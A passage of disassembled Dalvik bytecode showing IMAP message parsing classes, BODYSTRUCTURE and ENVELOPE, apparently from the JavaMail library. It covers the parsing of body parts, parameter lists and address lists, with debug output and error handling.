000003BA  invoke-direct           StringBuilder-><init>(String)V, v2, v3
000003C0  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
000003C6  move-result-object      v0
000003C8  invoke-virtual          StringBuilder->toString()String, v0
000003CE  move-result-object      v0
000003D0  invoke-virtual          PrintStream->println(String)V, v1, v0
000003D6  goto                    :37A
:3D8
000003D8  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
000003DC  if-eqz                  v0, :3EE
:3E0
000003E0  sget-object             v0, System->out:PrintStream
000003E4  const-string            v1, "DEBUG IMAP: single part"
000003E8  invoke-virtual          PrintStream->println(String)V, v0, v1
:3EE
000003EE  invoke-virtual          FetchResponse->readString()String, p1
000003F4  move-result-object      v0
000003F6  iput-object             v0, p0, BODYSTRUCTURE->type:String
000003FA  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
000003FE  if-eqz                  v0, :42E
:402
00000402  sget-object             v0, System->out:PrintStream
00000406  new-instance            v1, StringBuilder
0000040A  const-string            v2, "DEBUG IMAP: type "
0000040E  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000414  iget-object             v2, p0, BODYSTRUCTURE->type:String
00000418  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000041E  move-result-object      v1
00000420  invoke-virtual          StringBuilder->toString()String, v1
00000426  move-result-object      v1
00000428  invoke-virtual          PrintStream->println(String)V, v0, v1
:42E
0000042E  sget                    v0, BODYSTRUCTURE->SINGLE:I
00000432  iput                    v0, p0, BODYSTRUCTURE->processedType:I
00000436  invoke-virtual          FetchResponse->readString()String, p1
0000043C  move-result-object      v0
0000043E  iput-object             v0, p0, BODYSTRUCTURE->subtype:String
00000442  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
00000446  if-eqz                  v0, :476
:44A
0000044A  sget-object             v0, System->out:PrintStream
0000044E  new-instance            v1, StringBuilder
00000452  const-string            v2, "DEBUG IMAP: subtype "
00000456  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000045C  iget-object             v2, p0, BODYSTRUCTURE->subtype:String
00000460  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000466  move-result-object      v1
00000468  invoke-virtual          StringBuilder->toString()String, v1
0000046E  move-result-object      v1
00000470  invoke-virtual          PrintStream->println(String)V, v0, v1
:476
00000476  iget-object             v0, p0, BODYSTRUCTURE->type:String
0000047A  if-nez                  v0, :48E
:47E
0000047E  const-string            v0, "application"
00000482  iput-object             v0, p0, BODYSTRUCTURE->type:String
00000486  const-string            v0, "octet-stream"
0000048A  iput-object             v0, p0, BODYSTRUCTURE->subtype:String
:48E
0000048E  invoke-direct           BODYSTRUCTURE->parseParameters(Response)ParameterList, p0, p1
00000494  move-result-object      v0
00000496  iput-object             v0, p0, BODYSTRUCTURE->cParams:ParameterList
0000049A  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
0000049E  if-eqz                  v0, :4CE
:4A2
000004A2  sget-object             v0, System->out:PrintStream
000004A6  new-instance            v1, StringBuilder
000004AA  const-string            v2, "DEBUG IMAP: cParams "
000004AE  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000004B4  iget-object             v2, p0, BODYSTRUCTURE->cParams:ParameterList
000004B8  invoke-virtual          StringBuilder->append(Object)StringBuilder, v1, v2
000004BE  move-result-object      v1
000004C0  invoke-virtual          StringBuilder->toString()String, v1
000004C6  move-result-object      v1
000004C8  invoke-virtual          PrintStream->println(String)V, v0, v1
:4CE
000004CE  invoke-virtual          FetchResponse->readString()String, p1
000004D4  move-result-object      v0
000004D6  iput-object             v0, p0, BODYSTRUCTURE->id:String
000004DA  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
000004DE  if-eqz                  v0, :50E
:4E2
000004E2  sget-object             v0, System->out:PrintStream
000004E6  new-instance            v1, StringBuilder
000004EA  const-string            v2, "DEBUG IMAP: id "
000004EE  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000004F4  iget-object             v2, p0, BODYSTRUCTURE->id:String
000004F8  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000004FE  move-result-object      v1
00000500  invoke-virtual          StringBuilder->toString()String, v1
00000506  move-result-object      v1
00000508  invoke-virtual          PrintStream->println(String)V, v0, v1
:50E
0000050E  invoke-virtual          FetchResponse->readString()String, p1
00000514  move-result-object      v0
00000516  iput-object             v0, p0, BODYSTRUCTURE->description:String
0000051A  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
0000051E  if-eqz                  v0, :54E
:522
00000522  sget-object             v0, System->out:PrintStream
00000526  new-instance            v1, StringBuilder
0000052A  const-string            v2, "DEBUG IMAP: description "
0000052E  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000534  iget-object             v2, p0, BODYSTRUCTURE->description:String
00000538  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000053E  move-result-object      v1
00000540  invoke-virtual          StringBuilder->toString()String, v1
00000546  move-result-object      v1
00000548  invoke-virtual          PrintStream->println(String)V, v0, v1
:54E
0000054E  invoke-virtual          FetchResponse->readString()String, p1
00000554  move-result-object      v0
00000556  iput-object             v0, p0, BODYSTRUCTURE->encoding:String
0000055A  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
0000055E  if-eqz                  v0, :58E
:562
00000562  sget-object             v0, System->out:PrintStream
00000566  new-instance            v1, StringBuilder
0000056A  const-string            v2, "DEBUG IMAP: encoding "
0000056E  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000574  iget-object             v2, p0, BODYSTRUCTURE->encoding:String
00000578  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000057E  move-result-object      v1
00000580  invoke-virtual          StringBuilder->toString()String, v1
00000586  move-result-object      v1
00000588  invoke-virtual          PrintStream->println(String)V, v0, v1
:58E
0000058E  invoke-virtual          FetchResponse->readNumber()I, p1
00000594  move-result             v0
00000596  iput                    v0, p0, BODYSTRUCTURE->size:I
0000059A  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
0000059E  if-eqz                  v0, :5CE
:5A2
000005A2  sget-object             v0, System->out:PrintStream
000005A6  new-instance            v1, StringBuilder
000005AA  const-string            v2, "DEBUG IMAP: size "
000005AE  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000005B4  iget                    v2, p0, BODYSTRUCTURE->size:I
000005B8  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v2
000005BE  move-result-object      v1
000005C0  invoke-virtual          StringBuilder->toString()String, v1
000005C6  move-result-object      v1
000005C8  invoke-virtual          PrintStream->println(String)V, v0, v1
:5CE
000005CE  iget                    v0, p0, BODYSTRUCTURE->size:I
000005D2  if-gez                  v0, :5E6
:5D6
000005D6  new-instance            v0, ParsingException
000005DA  const-string            v1, "BODYSTRUCTURE parse error: bad ``size\'\' element"
000005DE  invoke-direct           ParsingException-><init>(String)V, v0, v1
000005E4  throw                   v0
:5E6
000005E6  iget-object             v0, p0, BODYSTRUCTURE->type:String
000005EA  const-string            v1, "text"
000005EE  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
000005F4  move-result             v0
000005F6  if-eqz                  v0, :652
:5FA
000005FA  invoke-virtual          FetchResponse->readNumber()I, p1
00000600  move-result             v0
00000602  iput                    v0, p0, BODYSTRUCTURE->lines:I
00000606  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
0000060A  if-eqz                  v0, :63A
:60E
0000060E  sget-object             v0, System->out:PrintStream
00000612  new-instance            v1, StringBuilder
00000616  const-string            v2, "DEBUG IMAP: lines "
0000061A  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000620  iget                    v2, p0, BODYSTRUCTURE->lines:I
00000624  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v2
0000062A  move-result-object      v1
0000062C  invoke-virtual          StringBuilder->toString()String, v1
00000632  move-result-object      v1
00000634  invoke-virtual          PrintStream->println(String)V, v0, v1
:63A
0000063A  iget                    v0, p0, BODYSTRUCTURE->lines:I
0000063E  if-gez                  v0, :760
:642
00000642  new-instance            v0, ParsingException
00000646  const-string            v1, "BODYSTRUCTURE parse error: bad ``lines\'\' element"
0000064A  invoke-direct           ParsingException-><init>(String)V, v0, v1
00000650  throw                   v0
:652
00000652  iget-object             v0, p0, BODYSTRUCTURE->type:String
00000656  const-string            v1, "message"
0000065A  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
00000660  move-result             v0
00000662  if-eqz                  v0, :6FE
:666
00000666  iget-object             v0, p0, BODYSTRUCTURE->subtype:String
0000066A  const-string            v1, "rfc822"
0000066E  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
00000674  move-result             v0
00000676  if-eqz                  v0, :6FE
:67A
0000067A  sget                    v0, BODYSTRUCTURE->NESTED:I
0000067E  iput                    v0, p0, BODYSTRUCTURE->processedType:I
00000682  new-instance            v0, ENVELOPE
00000686  invoke-direct           ENVELOPE-><init>(FetchResponse)V, v0, p1
0000068C  iput-object             v0, p0, BODYSTRUCTURE->envelope:ENVELOPE
00000690  new-array               v0, v5, [BODYSTRUCTURE
00000694  new-instance            v1, BODYSTRUCTURE
00000698  invoke-direct           BODYSTRUCTURE-><init>(FetchResponse)V, v1, p1
0000069E  aput-object             v1, v0, v6
000006A2  iput-object             v0, p0, BODYSTRUCTURE->bodies:[BODYSTRUCTURE
000006A6  invoke-virtual          FetchResponse->readNumber()I, p1
000006AC  move-result             v0
000006AE  iput                    v0, p0, BODYSTRUCTURE->lines:I
000006B2  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
000006B6  if-eqz                  v0, :6E6
:6BA
000006BA  sget-object             v0, System->out:PrintStream
000006BE  new-instance            v1, StringBuilder
000006C2  const-string            v2, "DEBUG IMAP: lines "
000006C6  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000006CC  iget                    v2, p0, BODYSTRUCTURE->lines:I
000006D0  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v2
000006D6  move-result-object      v1
000006D8  invoke-virtual          StringBuilder->toString()String, v1
000006DE  move-result-object      v1
000006E0  invoke-virtual          PrintStream->println(String)V, v0, v1
:6E6
000006E6  iget                    v0, p0, BODYSTRUCTURE->lines:I
000006EA  if-gez                  v0, :760
:6EE
000006EE  new-instance            v0, ParsingException
000006F2  const-string            v1, "BODYSTRUCTURE parse error: bad ``lines\'\' element"
000006F6  invoke-direct           ParsingException-><init>(String)V, v0, v1
000006FC  throw                   v0
:6FE
000006FE  invoke-virtual          FetchResponse->skipSpaces()V, p1
00000704  invoke-virtual          FetchResponse->peekByte()B, p1
0000070A  move-result             v0
0000070C  int-to-char             v0, v0
0000070E  invoke-static           Character->isDigit(C)Z, v0
00000714  move-result             v0
00000716  if-eqz                  v0, :760
:71A
0000071A  new-instance            v0, ParsingException
0000071E  new-instance            v1, StringBuilder
00000722  const-string            v2, "BODYSTRUCTURE parse error: server erroneously included ``lines\'\' element with type "
00000726  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000072C  iget-object             v2, p0, BODYSTRUCTURE->type:String
00000730  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000736  move-result-object      v1
00000738  const-string            v2, "/"
0000073C  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000742  move-result-object      v1
00000744  iget-object             v2, p0, BODYSTRUCTURE->subtype:String
00000748  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000074E  move-result-object      v1
00000750  invoke-virtual          StringBuilder->toString()String, v1
00000756  move-result-object      v1
00000758  invoke-direct           ParsingException-><init>(String)V, v0, v1
0000075E  throw                   v0
:760
00000760  invoke-virtual          FetchResponse->peekByte()B, p1
00000766  move-result             v0
00000768  if-ne                   v0, v3, :78C
:76C
0000076C  invoke-virtual          FetchResponse->readByte()B, p1
00000772  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
00000776  if-eqz                  v0, :174
:77A
0000077A  sget-object             v0, System->out:PrintStream
0000077E  const-string            v1, "DEBUG IMAP: parse DONE"
00000782  invoke-virtual          PrintStream->println(String)V, v0, v1
00000788  goto/16                 :174
:78C
0000078C  invoke-virtual          FetchResponse->readString()String, p1
00000792  move-result-object      v0
00000794  iput-object             v0, p0, BODYSTRUCTURE->md5:String
00000798  invoke-virtual          FetchResponse->readByte()B, p1
0000079E  move-result             v0
000007A0  if-ne                   v0, v3, :7BE
:7A4
000007A4  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
000007A8  if-eqz                  v0, :174
:7AC
000007AC  sget-object             v0, System->out:PrintStream
000007B0  const-string            v1, "DEBUG IMAP: no MD5 DONE"
000007B4  invoke-virtual          PrintStream->println(String)V, v0, v1
000007BA  goto/16                 :174
:7BE
000007BE  invoke-virtual          FetchResponse->readByte()B, p1
000007C4  move-result             v0
000007C6  if-ne                   v0, v4, :866
:7CA
000007CA  invoke-virtual          FetchResponse->readString()String, p1
000007D0  move-result-object      v0
000007D2  iput-object             v0, p0, BODYSTRUCTURE->disposition:String
000007D6  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
000007DA  if-eqz                  v0, :80A
:7DE
000007DE  sget-object             v0, System->out:PrintStream
000007E2  new-instance            v1, StringBuilder
000007E6  const-string            v2, "DEBUG IMAP: disposition "
000007EA  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000007F0  iget-object             v2, p0, BODYSTRUCTURE->disposition:String
000007F4  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000007FA  move-result-object      v1
000007FC  invoke-virtual          StringBuilder->toString()String, v1
00000802  move-result-object      v1
00000804  invoke-virtual          PrintStream->println(String)V, v0, v1
:80A
0000080A  invoke-direct           BODYSTRUCTURE->parseParameters(Response)ParameterList, p0, p1
00000810  move-result-object      v0
00000812  iput-object             v0, p0, BODYSTRUCTURE->dParams:ParameterList
00000816  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
0000081A  if-eqz                  v0, :84A
:81E
0000081E  sget-object             v0, System->out:PrintStream
00000822  new-instance            v1, StringBuilder
00000826  const-string            v2, "DEBUG IMAP: dParams "
0000082A  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000830  iget-object             v2, p0, BODYSTRUCTURE->dParams:ParameterList
00000834  invoke-virtual          StringBuilder->append(Object)StringBuilder, v1, v2
0000083A  move-result-object      v1
0000083C  invoke-virtual          StringBuilder->toString()String, v1
00000842  move-result-object      v1
00000844  invoke-virtual          PrintStream->println(String)V, v0, v1
:84A
0000084A  invoke-virtual          FetchResponse->readByte()B, p1
00000850  move-result             v0
00000852  if-eq                   v0, v3, :894
:856
00000856  new-instance            v0, ParsingException
0000085A  const-string            v1, "BODYSTRUCTURE parse error: missing ``)\'\' at end of disposition"
0000085E  invoke-direct           ParsingException-><init>(String)V, v0, v1
00000864  throw                   v0
:866
00000866  const/16                v1, 0x4E
0000086A  if-eq                   v0, v1, :876
:86E
0000086E  const/16                v1, 0x6E
00000872  if-ne                   v0, v1, :8BA
:876
00000876  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
0000087A  if-eqz                  v0, :88C
:87E
0000087E  sget-object             v0, System->out:PrintStream
00000882  const-string            v1, "DEBUG IMAP: disposition NIL"
00000886  invoke-virtual          PrintStream->println(String)V, v0, v1
:88C
0000088C  const/4                 v0, 0x2
0000088E  invoke-virtual          FetchResponse->skip(I)V, p1, v0
:894
00000894  invoke-virtual          FetchResponse->readByte()B, p1
0000089A  move-result             v0
0000089C  if-ne                   v0, v3, :920
:8A0
000008A0  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
000008A4  if-eqz                  v0, :174
:8A8
000008A8  sget-object             v0, System->out:PrintStream
000008AC  const-string            v1, "DEBUG IMAP: disposition DONE"
000008B0  invoke-virtual          PrintStream->println(String)V, v0, v1
000008B6  goto/16                 :174
:8BA
000008BA  new-instance            v1, ParsingException
000008BE  new-instance            v2, StringBuilder
000008C2  const-string            v3, "BODYSTRUCTURE parse error: "
000008C6  invoke-direct           StringBuilder-><init>(String)V, v2, v3
000008CC  iget-object             v3, p0, BODYSTRUCTURE->type:String
000008D0  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
000008D6  move-result-object      v2
000008D8  const-string            v3, "/"
000008DC  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
000008E2  move-result-object      v2
000008E4  iget-object             v3, p0, BODYSTRUCTURE->subtype:String
000008E8  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
000008EE  move-result-object      v2
000008F0  const-string            v3, ": "
000008F4  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
000008FA  move-result-object      v2
000008FC  const-string            v3, "bad single part disposition, b "
00000900  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000906  move-result-object      v2
00000908  invoke-virtual          StringBuilder->append(I)StringBuilder, v2, v0
0000090E  move-result-object      v0
00000910  invoke-virtual          StringBuilder->toString()String, v0
00000916  move-result-object      v0
00000918  invoke-direct           ParsingException-><init>(String)V, v1, v0
0000091E  throw                   v1
:920
00000920  invoke-virtual          FetchResponse->peekByte()B, p1
00000926  move-result             v0
00000928  if-ne                   v0, v4, :994
:92C
0000092C  invoke-virtual          FetchResponse->readStringList()[String, p1
00000932  move-result-object      v0
00000934  iput-object             v0, p0, BODYSTRUCTURE->language:[String
00000938  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
0000093C  if-eqz                  v0, :96E
:940
00000940  sget-object             v0, System->out:PrintStream
00000944  new-instance            v1, StringBuilder
00000948  const-string            v2, "DEBUG IMAP: language len "
0000094C  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000952  iget-object             v2, p0, BODYSTRUCTURE->language:[String
00000956  array-length            v2, v2
00000958  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v2
0000095E  move-result-object      v1
00000960  invoke-virtual          StringBuilder->toString()String, v1
00000966  move-result-object      v1
00000968  invoke-virtual          PrintStream->println(String)V, v0, v1
:96E
0000096E  invoke-virtual          FetchResponse->readByte()B, p1
00000974  move-result             v0
00000976  if-eq                   v0, v7, :9DE
:97A
0000097A  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
0000097E  if-eqz                  v0, :174
:982
00000982  sget-object             v0, System->out:PrintStream
00000986  const-string            v1, "DEBUG IMAP: all DONE"
0000098A  invoke-virtual          PrintStream->println(String)V, v0, v1
00000990  goto/16                 :174
:994
00000994  invoke-virtual          FetchResponse->readString()String, p1
0000099A  move-result-object      v0
0000099C  if-eqz                  v0, :96E
:9A0
000009A0  new-array               v1, v5, [String
000009A4  aput-object             v0, v1, v6
000009A8  iput-object             v1, p0, BODYSTRUCTURE->language:[String
000009AC  sget-boolean            v1, BODYSTRUCTURE->parseDebug:Z
000009B0  if-eqz                  v1, :96E
:9B4
000009B4  sget-object             v1, System->out:PrintStream
000009B8  new-instance            v2, StringBuilder
000009BC  const-string            v3, "DEBUG IMAP: language "
000009C0  invoke-direct           StringBuilder-><init>(String)V, v2, v3
000009C6  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
000009CC  move-result-object      v0
000009CE  invoke-virtual          StringBuilder->toString()String, v0
000009D4  move-result-object      v0
000009D6  invoke-virtual          PrintStream->println(String)V, v1, v0
000009DC  goto                    :96E
:9DE
000009DE  invoke-direct           BODYSTRUCTURE->parseBodyExtension(Response)V, p0, p1
000009E4  goto                    :96E
.end method

.method private parseBodyExtension(Response)V
          .registers 4
00000000  invoke-virtual          Response->skipSpaces()V, p1
00000006  invoke-virtual          Response->peekByte()B, p1
0000000C  move-result             v0
0000000E  const/16                v1, 0x28
00000012  if-ne                   v0, v1, :36
:16
00000016  const/4                 v0, 0x1
00000018  invoke-virtual          Response->skip(I)V, p1, v0
:1E
0000001E  invoke-direct           BODYSTRUCTURE->parseBodyExtension(Response)V, p0, p1
00000024  invoke-virtual          Response->readByte()B, p1
0000002A  move-result             v0
0000002C  const/16                v1, 0x29
00000030  if-ne                   v0, v1, :1E
:34
00000034  return-void
:36
00000036  int-to-char             v0, v0
00000038  invoke-static           Character->isDigit(C)Z, v0
0000003E  move-result             v0
00000040  if-eqz                  v0, :4C
:44
00000044  invoke-virtual          Response->readNumber()I, p1
0000004A  goto                    :34
:4C
0000004C  invoke-virtual          Response->readString()String, p1
00000052  goto                    :34
.end method

.method private parseParameters(Response)ParameterList
          .registers 9
00000000  const/4                 v1, 0x0
00000002  invoke-virtual          Response->skipSpaces()V, p1
00000008  invoke-virtual          Response->readByte()B, p1
0000000E  move-result             v0
00000010  const/16                v2, 0x28
00000014  if-ne                   v0, v2, :116
:18
00000018  new-instance            v0, ParameterList
0000001C  invoke-direct           ParameterList-><init>()V, v0
:22
00000022  invoke-virtual          Response->readString()String, p1
00000028  move-result-object      v2
0000002A  sget-boolean            v3, BODYSTRUCTURE->parseDebug:Z
0000002E  if-eqz                  v3, :5A
:32
00000032  sget-object             v3, System->out:PrintStream
00000036  new-instance            v4, StringBuilder
0000003A  const-string            v5, "DEBUG IMAP: parameter name "
0000003E  invoke-direct           StringBuilder-><init>(String)V, v4, v5
00000044  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v2
0000004A  move-result-object      v4
0000004C  invoke-virtual          StringBuilder->toString()String, v4
00000052  move-result-object      v4
00000054  invoke-virtual          PrintStream->println(String)V, v3, v4
:5A
0000005A  if-nez                  v2, :BC
:5E
0000005E  new-instance            v0, ParsingException
00000062  new-instance            v1, StringBuilder
00000066  const-string            v2, "BODYSTRUCTURE parse error: "
0000006A  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000070  iget-object             v2, p0, BODYSTRUCTURE->type:String
00000074  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000007A  move-result-object      v1
0000007C  const-string            v2, "/"
00000080  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000086  move-result-object      v1
00000088  iget-object             v2, p0, BODYSTRUCTURE->subtype:String
0000008C  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000092  move-result-object      v1
00000094  const-string            v2, ": "
00000098  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000009E  move-result-object      v1
000000A0  const-string            v2, "null name in parameter list"
000000A4  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000AA  move-result-object      v1
000000AC  invoke-virtual          StringBuilder->toString()String, v1
000000B2  move-result-object      v1
000000B4  invoke-direct           ParsingException-><init>(String)V, v0, v1
000000BA  throw                   v0
:BC
000000BC  invoke-virtual          Response->readString()String, p1
000000C2  move-result-object      v3
000000C4  sget-boolean            v4, BODYSTRUCTURE->parseDebug:Z
000000C8  if-eqz                  v4, :F4
:CC
000000CC  sget-object             v4, System->out:PrintStream
000000D0  new-instance            v5, StringBuilder
000000D4  const-string            v6, "DEBUG IMAP: parameter value "
000000D8  invoke-direct           StringBuilder-><init>(String)V, v5, v6
000000DE  invoke-virtual          StringBuilder->append(String)StringBuilder, v5, v3
000000E4  move-result-object      v5
000000E6  invoke-virtual          StringBuilder->toString()String, v5
000000EC  move-result-object      v5
000000EE  invoke-virtual          PrintStream->println(String)V, v4, v5
:F4
000000F4  invoke-virtual          ParameterList->set(String, String)V, v0, v2, v3
000000FA  invoke-virtual          Response->readByte()B, p1
00000100  move-result             v2
00000102  const/16                v3, 0x29
00000106  if-ne                   v2, v3, :22
:10A
0000010A  const-string            v2, "DONE"
0000010E  invoke-virtual          ParameterList->set(String, String)V, v0, v1, v2
:114
00000114  return-object           v0
:116
00000116  const/16                v2, 0x4E
0000011A  if-eq                   v0, v2, :126
:11E
0000011E  const/16                v2, 0x6E
00000122  if-ne                   v0, v2, :148
:126
00000126  sget-boolean            v0, BODYSTRUCTURE->parseDebug:Z
0000012A  if-eqz                  v0, :13C
:12E
0000012E  sget-object             v0, System->out:PrintStream
00000132  const-string            v2, "DEBUG IMAP: parameter list NIL"
00000136  invoke-virtual          PrintStream->println(String)V, v0, v2
:13C
0000013C  const/4                 v0, 0x2
0000013E  invoke-virtual          Response->skip(I)V, p1, v0
00000144  move-object             v0, v1
00000146  goto                    :114
:148
00000148  new-instance            v0, ParsingException
0000014C  const-string            v1, "Parameter list parse error"
00000150  invoke-direct           ParsingException-><init>(String)V, v0, v1
00000156  throw                   v0
.end method

.method public isMulti()Z
          .registers 3
00000000  iget                    v0, p0, BODYSTRUCTURE->processedType:I
00000004  sget                    v1, BODYSTRUCTURE->MULTI:I
00000008  if-ne                   v0, v1, :10
:C
0000000C  const/4                 v0, 0x1
:E
0000000E  return                  v0
:10
00000010  const/4                 v0, 0x0
00000012  goto                    :E
.end method

.method public isNested()Z
          .registers 3
00000000  iget                    v0, p0, BODYSTRUCTURE->processedType:I
00000004  sget                    v1, BODYSTRUCTURE->NESTED:I
00000008  if-ne                   v0, v1, :10
:C
0000000C  const/4                 v0, 0x1
:E
0000000E  return                  v0
:10
00000010  const/4                 v0, 0x0
00000012  goto                    :E
.end method

.method public isSingle()Z
          .registers 3
00000000  iget                    v0, p0, BODYSTRUCTURE->processedType:I
00000004  sget                    v1, BODYSTRUCTURE->SINGLE:I
00000008  if-ne                   v0, v1, :10
:C
0000000C  const/4                 v0, 0x1
:E
0000000E  return                  v0
:10
00000010  const/4                 v0, 0x0
00000012  goto                    :E
.end method

#--------------------------------------------------------------------------------
.class public ENVELOPE
.super Object
.source ""

.implements Item

.field private static mailDateFormat:MailDateFormat
.field static final name:[C
.field public bcc:[InternetAddress
.field public cc:[InternetAddress
.field public date:Date
.field public from:[InternetAddress
.field public inReplyTo:String
.field public messageId:String
.field public msgno:I
.field public replyTo:[InternetAddress
.field public sender:[InternetAddress
.field public subject:String
.field public to:[InternetAddress

.method static constructor <clinit>()V
          .registers 1
00000000  const/16                v0, 0x8
00000004  new-array               v0, v0, [C
00000008  fill-array-data         v0, :24
0000000E  sput-object             v0, ENVELOPE->name:[C
00000012  new-instance            v0, MailDateFormat
00000016  invoke-direct           MailDateFormat-><init>()V, v0
0000001C  sput-object             v0, ENVELOPE->mailDateFormat:MailDateFormat
00000020  return-void
00000024  .array-data 2 x 0x8
              0x45
              0x4E
              0x56
              0x45
              0x4C
              0x4F
              0x50
              0x45
          .end array-data
.end method

.method public constructor <init>(FetchResponse)V
          .registers 4
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/4                 v0, 0x0
00000008  iput-object             v0, p0, ENVELOPE->date:Date
0000000C  invoke-virtual          FetchResponse->getNumber()I, p1
00000012  move-result             v0
00000014  iput                    v0, p0, ENVELOPE->msgno:I
00000018  invoke-virtual          FetchResponse->skipSpaces()V, p1
0000001E  invoke-virtual          FetchResponse->readByte()B, p1
00000024  move-result             v0
00000026  const/16                v1, 0x28
0000002A  if-eq                   v0, v1, :3E
:2E
0000002E  new-instance            v0, ParsingException
00000032  const-string            v1, "ENVELOPE parse error"
00000036  invoke-direct           ParsingException-><init>(String)V, v0, v1
0000003C  throw                   v0
:3E
0000003E  invoke-virtual          FetchResponse->readString()String, p1
00000044  move-result-object      v0
00000046  if-eqz                  v0, :5A
:4A
0000004A  sget-object             v1, ENVELOPE->mailDateFormat:MailDateFormat
0000004E  invoke-virtual          MailDateFormat->parse(String)Date, v1, v0
00000054  move-result-object      v0
00000056  iput-object             v0, p0, ENVELOPE->date:Date
:5A
0000005A  invoke-virtual          FetchResponse->readString()String, p1
00000060  move-result-object      v0
00000062  iput-object             v0, p0, ENVELOPE->subject:String
00000066  invoke-direct           ENVELOPE->parseAddressList(Response)[InternetAddress, p0, p1
0000006C  move-result-object      v0
0000006E  iput-object             v0, p0, ENVELOPE->from:[InternetAddress
00000072  invoke-direct           ENVELOPE->parseAddressList(Response)[InternetAddress, p0, p1
00000078  move-result-object      v0
0000007A  iput-object             v0, p0, ENVELOPE->sender:[InternetAddress
0000007E  invoke-direct           ENVELOPE->parseAddressList(Response)[InternetAddress, p0, p1
00000084  move-result-object      v0
00000086  iput-object             v0, p0, ENVELOPE->replyTo:[InternetAddress
0000008A  invoke-direct           ENVELOPE->parseAddressList(Response)[InternetAddress, p0, p1
00000090  move-result-object      v0
00000092  iput-object             v0, p0, ENVELOPE->to:[InternetAddress
00000096  invoke-direct           ENVELOPE->parseAddressList(Response)[InternetAddress, p0, p1
0000009C  move-result-object      v0
0000009E  iput-object             v0, p0, ENVELOPE->cc:[InternetAddress
000000A2  invoke-direct           ENVELOPE->parseAddressList(Response)[InternetAddress, p0, p1
000000A8  move-result-object      v0
000000AA  iput-object             v0, p0, ENVELOPE->bcc:[InternetAddress
000000AE  invoke-virtual          FetchResponse->readString()String, p1
000000B4  move-result-object      v0
000000B6  iput-object             v0, p0, ENVELOPE->inReplyTo:String
000000BA  invoke-virtual          FetchResponse->readString()String, p1
000000C0  move-result-object      v0
000000C2  iput-object             v0, p0, ENVELOPE->messageId:String
000000C6  invoke-virtual          FetchResponse->readByte()B, p1
000000CC  move-result             v0
000000CE  const/16                v1, 0x29
000000D2  if-eq                   v0, v1, :E6
:D6
000000D6  new-instance            v0, ParsingException
000000DA  const-string            v1, "ENVELOPE parse error"
000000DE  invoke-direct           ParsingException-><init>(String)V, v0, v1
000000E4  throw                   v0
:E6
000000E6  return-void
:E8
000000E8  move-exception          v0
000000EA  goto                    :5A
          .catch Exception {:4A .. :5A} :E8
.end method

.method private parseAddressList(Response)[InternetAddress
          .registers 5
00000000  invoke-virtual          Response->skipSpaces()V, p1
00000006  invoke-virtual          Response->readByte()B, p1
0000000C  move-result             v0
0000000E  const/16                v1, 0x28
00000012  if-ne                   v0, v1, :68
:16
00000016  new-instance            v1, Vector
0000001A  invoke-direct           Vector-><init>()V, v1
:20
00000020  new-instance            v0, IMAPAddress
00000024  invoke-direct           IMAPAddress-><init>(Response)V, v0, p1
0000002A  invoke-virtual          IMAPAddress->isEndOfGroup()Z, v0
